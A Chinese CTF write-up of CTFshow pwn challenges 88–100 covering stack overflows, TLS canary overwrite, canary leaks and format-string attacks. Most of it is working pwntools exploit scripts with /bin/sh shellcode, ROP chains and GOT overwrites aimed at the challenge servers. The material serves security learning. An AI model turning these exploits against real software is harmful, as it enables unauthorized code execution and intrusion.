sub esp, 0x28; jmp esp将 esp - 0x28 到 s 的栈顶,执行 shellcode,get shell
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' , 28291 ) jmp_esp_addr = 0x08048d17 shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" sub_esp_jmp = asm("sub esp,0x28;jmp esp" ) payload = shellcode + (0x24 -len (shellcode)) * b'a' + p32(jmp_esp_addr) + sub_esp_jmp io.recvuntil("What's your name?" ) io.sendline(payload) io.interactive()
pwn 88 花式栈溢出 64bit File , checksec :
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
assemble:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 .text:00000000004006F 2 main proc near ; DATA XREF: _start+1 D↑o .text:00000000004006F 2 .text:00000000004006F 2 var_18 = dword ptr -18 h .text:00000000004006F 2 var_14 = dword ptr -14 h .text:00000000004006F 2 var_10 = qword ptr -10 h .text:00000000004006F 2 var_8 = qword ptr -8 .text:00000000004006F 2 .text:00000000004006F 2 ; __unwind { .text:00000000004006F 2 push rbp .text:00000000004006F 3 mov rbp, rsp .text:00000000004006F 6 sub rsp, 20 h .text:00000000004006F A mov rax, fs:28 h .text:0000000000400703 mov [rbp+var_8], rax .text:0000000000400707 xor eax, eax .text:0000000000400709 mov rax, cs:__bss_start .text:0000000000400710 mov esi, 0 ; buf .text:0000000000400715 mov rdi, rax ; stream .text:0000000000400718 call _setbuf .text:000000000040071 D mov edi, offset format ; "Where What?" .text:0000000000400722 mov eax, 0 .text:0000000000400727 call _printf .text:000000000040072 C lea rdx, [rbp+var_18] .text:0000000000400730 lea rax, [rbp+var_10] .text:0000000000400734 mov rsi, rax .text:0000000000400737 mov edi, offset aLlxD ; "%llx %d" .text:000000000040073 C mov eax, 0 .text:0000000000400741 call ___isoc99_scanf .text:0000000000400746 mov [rbp+var_14], eax .text:0000000000400749 cmp [rbp+var_14], 2 .text:000000000040074 D jz short loc_400756 .text:000000000040074F mov eax, 0 .text:0000000000400754 jmp short loc_400778 .text:0000000000400756 ; --------------------------------------------------------------------------- .text:0000000000400756 .text:0000000000400756 loc_400756: ; CODE XREF: main+5B ↑j .text:0000000000400756 mov rax, [rbp+var_10] .text:000000000040075 A mov edx, [rbp+var_18] .text:000000000040075 D mov [rax], dl .text:000000000040075F mov eax, [rbp+var_18] .text:0000000000400762 cmp eax, 0F Fh .text:0000000000400767 jnz short loc_400773 .text:0000000000400769 mov edi, offset s ; "No flag for you" .text:000000000040076 E call _puts
有任意内存地址写入的功能,所以我们可以反复利用这个漏洞,也就是修改 jnz short loc_400773
为 jmp short 40071D
这样程序就可以一直问我们 "Where What?"
, 反复利用任意地址写入.text
段是确定的代码段,只要 No PIE
,.text 都是固定的,不会受 ASRL 的影响
1 0x400767 - 0x40071D = 0x4A
主要代码:
修改 jnz 地址需要修改两个 byte 的内容,第一个 byte 是操作码字节 , 第二个是偏移字节
1 2 writeData(text+1 , u32(asm('jnz $-0x4A' )[1 :].ljust(4 ,b'\x00' ))) writeData(text, u32(asm('jmp $-0x4A' )[0 :1 ].ljust(4 ,b'\x00' )))
shellcode 写入到 .text:0000000000400769 mov edi, offset s ; "No flag for you"
1 2 3 4 5 6 7 8 9 10 11 12 13 shellcode = asm(''' mov rax, 0x0068732f6e69622f push rax mov rdi, rsp mov rax, 59 xor rsi, rsi xor rdx, rdx syscall ''' )shellcode_addr = 0x400769 for i, byte in enumerate (shellcode): writeData(shellcode_addr + i, byte)
无条件跳转回 shellcode 处, getshell (修改 jnz short loc_400773
为 jmp short &shellcode
)
1 writeData(text+1 , u32(asm('jnz $+0x2' )[1 :].ljust(4 ,b'\x00' )))
最终的解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28299 ) addr = 0x400767 def writeData (addr, data ): io.sendlineafter('Where What?' , hex (addr) + ' ' + str (data)) writeData(addr + 1 , u32(asm('jnz $-0x4A' )[1 :].ljust(4 ,b'\x00' ))) writeData(addr, u32(asm('jmp $-0x4A' )[0 :1 ].ljust(4 ,b'\x00' ))) shellcode = asm(''' mov rax, 0x0068732f6e69622f push rax mov rdi, rsp mov rax, 59 xor rsi, rsi xor rdx, rdx syscall ''' )shellcode_addr = 0x400769 for i, byte in enumerate (shellcode): writeData(shellcode_addr + i, byte) writeData(addr + 1 , u32(asm('jnz $+0x2' )[1 :].ljust(4 ,b'\x00' ))) io.interactive()
pwn89 TLS 劫持 花式栈溢出 64bit File , checksec :
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
disassemble
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl main (int argc, const char **argv, const char **envp) { int result; pthread_t newthread[2 ]; newthread[1 ] = __readfsqword(0x28u ); init(argc, argv, envp); logo(); pthread_create(newthread, 0LL , start, 0LL ); if ( pthread_join(newthread[0 ], 0LL ) ) { puts ("exit failure" ); result = 1 ; } else { puts ("Bye bye" ); result = 0 ; } return result; }
看到了关键函数 pthread_create
, 创建一个线程 函数申明:
1 2 3 4 5 6 #include <pthread.h> int pthread_create ( pthread_t *restrict tidp, const pthread_attr_t *restrict attr, void *(*start_rtn)(void *), ) ;
1 2 3 int pthread_join (pthread_t thread, void **value_ptr) ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void *__fastcall start (void *a1) { unsigned __int64 v2; char s[4104 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); memset (s, 0 , 0x1000u LL); puts ("Welcome to CTFshowPWN!" ); puts ("You want to send:" ); v2 = lenth(); if ( v2 <= 0x10000 ) { readn(0 , (__int64)s, v2); puts ("See you next time!" ); } else { puts ("Are you kidding me?" ); } return 0LL ; }
s 有 0x1010 空间的大小, readn 函数又读取了我们第二次输入的数据第一次输入的长度,第一次可以输入的长一些,导致第二次输入溢出 s 即可。
思路: 在开启canary的情况下,当程序在创建线程的时候,会创建一个TLS(Thread Local Storage),这个TLS会存储canary的值,而TLS会保存在stack高地址的地方。 那么,当我们溢出足够大的字节覆盖到TLS所在的地方,就可以控制TLS结构体,进而控制canary到我们想要的值,实现ROP
有canary保护我们可以通过覆盖高地址来覆盖掉TLS,然后就是正常的ROP然后栈迁移到bss段执行one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28271 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) puts_addr = elf.symbols["puts" ] put_got = elf.got["puts" ] read_addr = elf.symbols["read" ] libc_puts = libc.sym['puts' ] leave_addr = 0x40098c pop_rdi_ret = 0x400be3 pop_rsi_r15_ret = 0x400be1 bss_addr = 0x602f00 payload = b'a' * 0x1010 + p64(bss_addr - 0x8 ) payload += p64(pop_rdi_ret) + p64(put_got) + p64(puts_addr) payload += p64(pop_rdi_ret) + p64(0 ) payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0 ) payload += p64(read_addr) payload += p64(leave_addr) payload = payload.ljust(0x2000 , b'a' ) io.sendlineafter("send:\n" , str (0x2000 )) sleep(1 ) io.send(payload) sleep(1 ) io.recvuntil("See you next time!\n" ) puts = u64(io.recv(6 ).ljust(8 ,b'\x00' )) print (hex (puts))base_addr = puts - libc_puts print (hex (base_addr))one = 0x10a2fc + base_addr payload = p64(one) io.send(payload) io.interactive()
pwn90 Leak Canary 花式栈溢出 64bit , 泄露 canary 值
disassemble
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 sub_960 () { __int64 buf[6 ]; buf[5 ] = __readfsqword(0x28u ); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(_bss_start, 0LL , 2 , 0LL ); buf[0 ] = 0LL ; buf[1 ] = 0LL ; buf[2 ] = 0LL ; buf[3 ] = 0LL ; puts ("Welcome CTFshow:" ); read(0 , buf, 0x30u LL); printf ("Hello %s:\n" , (const char *)buf); read(0 , buf, 0x60u LL); return 0LL ; }
很明显的溢出点,但是输入过长会导致 stack smashing:
1 2 3 4 Welcome CTFshow: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0[���: *** stack smashing detected ***: terminated
和 checksec 检测的一样,有 canary 的防护,无非就两种情况,从 canary 入手和 stack smashing 报错信息劫持
1 2 3 4 5 6 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
这里尝试溢出一下 canary 的值
1 2 3 4 puts ("Welcome CTFshow:" );read(0 , buf, 0x30u LL); printf ("Hello %s:\n" , (const char *)buf);read(0 , buf, 0x60u LL);
可以看到现在我们无法溢出,因为有 canary,但是这里用 read 读取数据,读取后不会给我们输入的数据加上截断符号 \x00
可以直接通过 printf 输出 canary 的值,计算一下需要多少 padding:
1 2 3 4 0x28 0x30 0x38 padding + canary + ebp + ret_addr (栈情况) 0x30 - 0x08 + 1 (canary 最低位为 0x0)
接收 printf 输出的 canary 的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28221 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) leak_padding = 0x30 - 8 + 1 io.recvuntil("Welcome CTFshow:\n" ) payload = b'a' * leak_padding io.send(payload) io.recvuntil('Hello ' ) io.recv(0x30 - 8 ) canary = u64(io.recv(8 ).ljust(8 ,b'\x00' )) & (0xffffffffffffff00 ) log.success('++++++++++ Canary:%x \n' ,canary) io.interactive()
1 [+] ++++++++++ Canary:3514da2dd2cc2b00
泄露出 canary 的值就好办了,直接溢出即可
注意: 因为开启了 PIE,所以后门函数的地址我们是不知道的,但是低位地址是一样的,我们可以直接覆盖低位地址来跳转到后门函数 .text:0000000000000A42 lea rdi, command ; "/bin/sh"
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28221 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) leak_padding = 0x30 - 0x08 + 1 io.recvuntil("Welcome CTFshow:\n" ) payload = b'a' * leak_padding io.sendline(payload) io.recv(6 + leak_padding-1 ) canary = u64(io.recv(8 )) & (0xffffffffffffff00 ) log.success('++++++++++ Canary:%x \n' ,canary) shell_addr = 0xA42 payload = b'a' * 40 + p64(canary) + p64(0 ) + b'\x42' io.send(payload) io.interactive()
格式化字符串 pwn91 开始格式化字符串了,先来个简单的吧
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32bit , disassemble:
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { init(&argc); logo(); ctfshow(); if ( daniu == 6 ) { puts ("daniu praise you for a good job!" ); system("/bin/sh" ); } return 0 ; }
看到只要 daniu == 6 ,就可以给 shell ,跟进 ctfshow()
1 2 3 4 5 6 7 8 9 10 11 12 unsigned int ctfshow () { char s[80 ]; unsigned int v2; v2 = __readgsdword(0x14u ); memset (s, 0 , sizeof (s)); read(0 , s, 0x50u ); printf (s); printf ("daniu now is :%d!\n" , daniu); return __readgsdword(0x14u ) ^ v2; }
给了 daniu 地址中的数据,同时 printf(s) 存在格式化字符串漏洞,可以利用: 输入不同的数据会输出不同的:
1 2 3 4 5 6 7 aaaa aaaa daniu now is :0! %p 0xffe31c4c daniu now is :0!
输入 aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
查看 aaaa
的偏移
1 2 3 aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p aaaa-p-0xfff4544c-0x50-0x804870a-0x46-0xeaf0ed40-0xfff45488-0x61616161-0x252d702d-0x70252d70 daniu now is :0!
看到第七位 就是我们输入的 aaaa (0x61616161)
,可以验证一下:
1 2 3 aaaa%7$p aaaa0x61616161 daniu now is :0!
没错,找一下 daniu 的地址:
1 .bss:0804B038 daniu dd ? ; DATA XREF: ctfshow+52↑r
bss 段,同时没有开启 PIE,那就直接往这个地址里格式化字符串漏洞写入 7 即可
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28270 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) daniu_addr = 0x804B038 offset = 7 payload = fmtstr_payload(offset,{daniu_addr:6 }) io.recvuntil(" * ************************************* \n" ) io.sendline(payload) io.interactive()
pwn92 可能上一题没太看懂?来看下基础吧
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
只跟进 flagishere()
函数 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 flagishere () { FILE *stream; char format[10 ]; char s[72 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); stream = fopen("/ctfshow_flag" , "r" ); if ( !stream ) { puts ("/ctfshow_flag: No such file or directory." ); exit (0 ); } fgets(s, 64 , stream); printf ("Enter your format string: " ); __isoc99_scanf("%9s" , format); printf ("The flag is :" ); printf (format, s); return __readfsqword(0x28u ) ^ v4; }
只需要输入%s 就可以输出 flag 了
1 2 Enter your format string: %s The flag is :ctfshow{51bd7f61-e1f5-453f-b550-8d3787eefc90}
pwn93 还是教学题目,先看伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; unsigned __int64 v5; v5 = __readfsqword(0x28u ); init(argc, argv, envp); logo(); menu(); puts ("Enter your choice: " ); __isoc99_scanf("%d" , &v4); switch ( v4 ) { case 1 : func1(); break ; case 2 : func2(); break ; case 3 : func3(); break ; case 4 : func4(); break ; case 5 : func5(); break ; case 6 : nothing_here(); break ; case 7 : exit0(); break ; default : puts ("Invalid choice. Please enter a valid option." ); break ; } return 0 ; }
跟进 exit0():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned __int64 exit0 () { FILE *stream; char s[72 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); stream = fopen("/ctfshow_flag" , "r" ); if ( !stream ) { puts ("/ctfshow_flag: No such file or directory." ); exit (0 ); } fgets(s, 64 , stream); printf ("%s" , s); return __readfsqword(0x28u ) ^ v3; }
所以我们输入 7
就可以获得 flag 了
pwn94 printf->system 好了,你已经学会1+1=2了,接下来继续加油吧
1 2 3 4 5 6 7 8 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes
看下伪代码, 跟进 ctfshow()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 void __noreturn ctfshow () { char buf[100 ]; unsigned int v1; v1 = __readgsdword(0x14u ); while ( 1 ) { memset (buf, 0 , sizeof (buf)); read(0 , buf, 0x64u ); printf (buf); } }
看到输入的 buf 直接交给了 printf,是不是就可以写入类似 %p%p
,输出栈中的地址 ?(计算偏移:)
1 2 aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p aaaa-0xffcc9b78-0x64-0x80486e5-0x10-0xf111afe8-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d
计算出偏移是6
思路: printf(buf)
存在格式化字符串漏洞,buf 可控,可以修改 print_got 为 system_plt
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28128 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) printf_got = elf.got['printf' ] system_plt = elf.plt['system' ] offset = 6 payload = fmtstr_payload(offset,{printf_got:system_plt}) io.sendline(payload) io.sendline(b"/bin/sh\x00" ) io.interactive()
经过测试下来,io.sendline(b"/bin/sh\x00")
这一行可有可无 , system("")
也可以启动 shell
pwn95 加大了一点点难度,不过对你来说还是so easy 吧
1 2 3 4 5 6 7 8 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void __noreturn ctfshow () { char buf[100 ]; unsigned int v1; v1 = __readgsdword(0x14u ); while ( 1 ) { memset (buf, 0 , sizeof (buf)); read(0 , buf, 0x64u ); printf (buf); fflush(stdout ); } }
看到很明显的格式化字符串漏洞: printf(buf);
但是这一题没有给我们 system, 所以要通过 ret2libc 的样子计算出 system 的地址。
leak printf@got 的地址?
1 payload = p32(printf_got) + b'%6$s'
写入 printf@got , 然后再格式化字符串漏洞泄露出来
后面就是接收和 libcsearcher 计算基地址和计算 system 地址 , payload 就是和 pwn94一样,把 printf 地址改为 system 地址即可 。
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import *context.log_level = 'debug' io = remote('pwn.challenge.ctf.show' , 28200 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) offset = 6 printf_got = elf.got['printf' ] payload = p32(printf_got) + b'%6$s' io.send(payload) printf_addr = u32(io.recvuntil('\xf7' )[-4 :]) libc = LibcSearcher('printf' ,printf_addr) libc_base = printf_addr - libc.dump('printf' ) system_addr = libc_base + libc.dump('system' ) print ('libc_base:' ,hex (libc_base))log.info("++++++++++++++ system_addr: %s" % hex (system_addr)) payload = fmtstr_payload(6 ,{printf_got:system_addr}) io.send(payload) io.send('/bin/sh' ) io.interactive()
但是解出来有点问题,libcsearcher 找不到对应的版本
pwn96 先找一下偏移 disassemble
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char v3[64 ]; char s[64 ]; FILE *stream; char *v6; int *v7; v7 = &argc; setvbuf(stdout , 0 , 2 , 0 ); v6 = v3; memset (s, 0 , sizeof (s)); memset (s, 0 , sizeof (s)); puts (asc_8048830); puts (asc_80488A4); puts (asc_8048920); puts (asc_80489AC); puts (asc_8048A3C); puts (asc_8048AC0); puts (asc_8048B54); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Format_String " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : Flag on the stack! " ); puts (" * ************************************* " ); puts ("It's time to learn about format strings!" ); puts ("Where is the flag?" ); stream = fopen("/ctfshow_flag" , "r" ); if ( !stream ) { puts ("/ctfshow_flag: No such file or directory." ); exit (0 ); } fgets(v3, 64 , stream); while ( 1 ) { printf ("$ " ); fgets(s, 64 , stdin ); printf (s); } }
fgets(v3, 64, stream);
可以看到 flag 被读取在栈中,所以可以通过 printf(s);
格式化字符串漏洞泄露出来 flag 的值;
1 2 $ aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p aaaa-0x40-0xf7ede5c0-(nil)-(nil)-0xf7ef5fcb-0x73667463-0x7b776f68-0x38666339-0x64646335-0x6430302d-0x37342d31-0x392d3831-0x2d353264-0x31376231-0x61386134-0x36356662-0xa7d-(nil)-0xf7f13000-$ p-0x40-0xf7ede5c0-(nil)-(nil)-0xf7ef5fcb-0x73667463
0x73667463 -> sftc
, 得出 offset = 6
解密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) process = './pwn' io = remote("pwn.challenge.ctf.show" ,28154 ) flag = '' for i in range (6 , 6 + 12 ): payload = '%{}$p' .format (i) io.sendlineafter('$ ' , payload) response = io.recvuntil(b'\n' , drop=True ).decode() hex_string = response.replace('0x' , '' ) try : aim = unhex(hex_string) flag += aim[::-1 ].decode('latin-1' ) except Exception as e: print (f"Error decoding at index {i} : {e} " ) break print (flag)io.close()
pwn97 覆写某个值满足某条件好像就可以了 32bit 题目,直接看反汇编代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int __cdecl main (int argc, const char **argv, const char **envp) { char s[64 ]; unsigned int v5; int *v6; v6 = &argc; v5 = __readgsdword(0x14u ); setvbuf(stdout , 0 , 2 , 0 ); puts (asc_8048A64); puts (asc_8048AD8); puts (asc_8048B54); puts (asc_8048BE0); puts (asc_8048C70); puts (asc_8048CF4); puts (asc_8048D88); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Format_String " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : Find a way to elevate your privileges! " ); puts (" * ************************************* " ); puts ("You can use two command('cat /ctfshow_flag' && 'shutdown')" ); putchar (36 ); fgets(s, 64 , stdin ); if ( strstr (s, "shutdown" ) ) { puts ("See you~" ); exit (1 ); } if ( !strstr (s, "cat /ctfshow_flag" ) ) { puts ("Here you are:\n" ); printf (s); } get_flag(); return 0 ; }
跟进 get_flag()
1 2 3 4 5 6 7 int get_flag () { if ( !check ) return puts ("Permission denied." ); puts ("Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag" ); return flag(); }
flag() 函数为输出 flag, 看到只需要满足 check=1
就可以 return flag() 直接通过格式化字符串漏洞泄露偏移,写入 check 地址内容为1即可
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28291 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) offset = 11 check_addr = 0x804B040 payload = fmtstr_payload(offset,{check_addr:1 }) io.sendline(payload) io.interactive()
pwn98 FSE LeakCanary Canary?有没有办法绕过呢?
checksec
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32bit 小端序,看到 canary 是开启状态, 那无非就是几种做题方法
题目明显攻击链
爆破 canary
泄露 canary
这一题很明显的就是走泄露 canary 路线。 因为 canary 开启,这个 canary 是保存在返回地址前四字节位置处的,格式化字符串漏洞是可以泄露出来的。写一个枚举栈内存的脚本,canary 有一个特征是 \x00 结尾:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context.binary = './pwn' context.log_level = 'error' def leak_canary (): for i in range (1 , 30 ): io = process('./pwn' ) try : payload = f"aaaa%{i} $x" io.recvuntil(" * ************************************* \n" ) io.sendline(payload) io.recvuntil(b"aaaa" ) leak = io.recv(timeout=1 ).strip().decode(errors='ignore' ) print (f"[{i:02} ] -> {leak} " ) except Exception as e: print (f"[{i:02} ] Exception: {e} " ) finally : io.close() leak_canary()
输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 [01] -> 804b000 [02] -> f3a98e34 [03] -> 8048716 [04] -> ffa62528 [05] -> 61616161 [06] -> 78243625 [07] -> 804b000 [08] -> 80487b0 [09] -> f3fd0b60 [10] -> fff46238 [11] -> 80486c5 [12] -> 8048bf0 [13] -> 0 [14] -> 2 [15] -> df30b800 [16] -> ffffffff [17] -> e88c3e34 [18] -> ff9bcaf8 [19] -> 8048795 [20] -> 0 [21] -> ff91b540 [22] -> 0 [23] -> f29f4cb9 [24] -> 0 [25] -> 0 [26] -> f1f5513d [27] -> f5a19cb9 [28] -> 1 [29] -> ffc2f974
其中最怀疑的就是 [15] -> df30b800
,多试几次确定这就是 canary
接下来就是构造 payload ,先看一下栈空间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 -00000034 s db ? -00000033 db ? ; undefined -00000032 db ? ; undefined -00000031 db ? ; undefined -00000030 db ? ; undefined -0000002F db ? ; undefined -0000002E db ? ; undefined -0000002D db ? ; undefined -0000002C db ? ; undefined -0000002B db ? ; undefined -0000002A db ? ; undefined -00000029 db ? ; undefined -00000028 db ? ; undefined -00000027 db ? ; undefined -00000026 db ? ; undefined -00000025 db ? ; undefined -00000024 db ? ; undefined -00000023 db ? ; undefined -00000022 db ? ; undefined -00000021 db ? ; undefined -00000020 db ? ; undefined -0000001F db ? ; undefined -0000001E db ? ; undefined -0000001D db ? ; undefined -0000001C db ? ; undefined -0000001B db ? ; undefined -0000001A db ? ; undefined -00000019 db ? ; undefined -00000018 db ? ; undefined -00000017 db ? ; undefined -00000016 db ? ; undefined -00000015 db ? ; undefined -00000014 db ? ; undefined -00000013 db ? ; undefined -00000012 db ? ; undefined -00000011 db ? ; undefined -00000010 db ? ; undefined -0000000F db ? ; undefined -0000000E db ? ; undefined -0000000D db ? ; undefined -0000000C var_C dd ? -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 var_4 dd ? +00000000 s db 4 dup(?) +00000004 r db 4 dup(?)
其中,s 就是输入的内存大小,var_C 是 Canary ,占四字节,s 为 ebp,r 为返回地址 所以我们的 payload 为
1 2 填满s + canary四字节 + padding + getshell_addr b'a' * 0x28 + p32(canary) + b'a' * 0xc + p32(getshell_addr)
[+++++++++++++++++++++++++] 这里为什么要填 padding 0xc
?
1 2 3 4 5 6 7 8 -0000000C var_C dd ? -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 var_4 dd ? +00000000 s db 4 dup(?) +00000004 r db 4 dup(?)
注意看这里的 -00000004 var_4 dd ?
数据类型是 dd
()double dword) , 就是直接占四字节 所以 -00000008
-> +00000004
覆盖返回地址大小就刚好是 0xc
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28172 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) io.sendline(b'aaaa%15$x' ) io.recvuntil("aaaa" ) canary = int (io.recv(),16 ) log.success(f"+++++++++++++++ Canary: {hex (canary)} " ) gs_addr = elf.sym['__stack_check' ] payload = b'a' * 0x28 + p32(canary) + b'a' * 0xc + p32(gs_addr) io.sendline(payload) io.interactive()
pwn99 Flag_On_Stack fmt盲打(不是忘记放附件,是本身就没附件!!!)
nc 链接后给了提示 Hint : Flag is on Stack !
直接枚举即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * context.log_level = 'error' def leak (payload ): io = remote('pwn.challenge.ctf.show' ,28104 ) io.recv() io.sendline(payload) data = io.recvuntil('\n' , drop=True ) if data.startswith(b'0x' ): print (p64(int (data, 16 ))) io.close() i = 1 while 1 : payload = '%{}$p' .format (i) leak(payload) i += 1
1 2 3 4 5 6 b'\xc0m\xcf\x91\xa3U\x00\x00' b'ctfshow{' b'W0w_y0u_' b'c@n_r3@1' b'1y_d@nce' b'!}\x00\x00\x00\x00\x00\x00'
pwn100 有些东西好像需要一定条件
checksec
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
disassemble
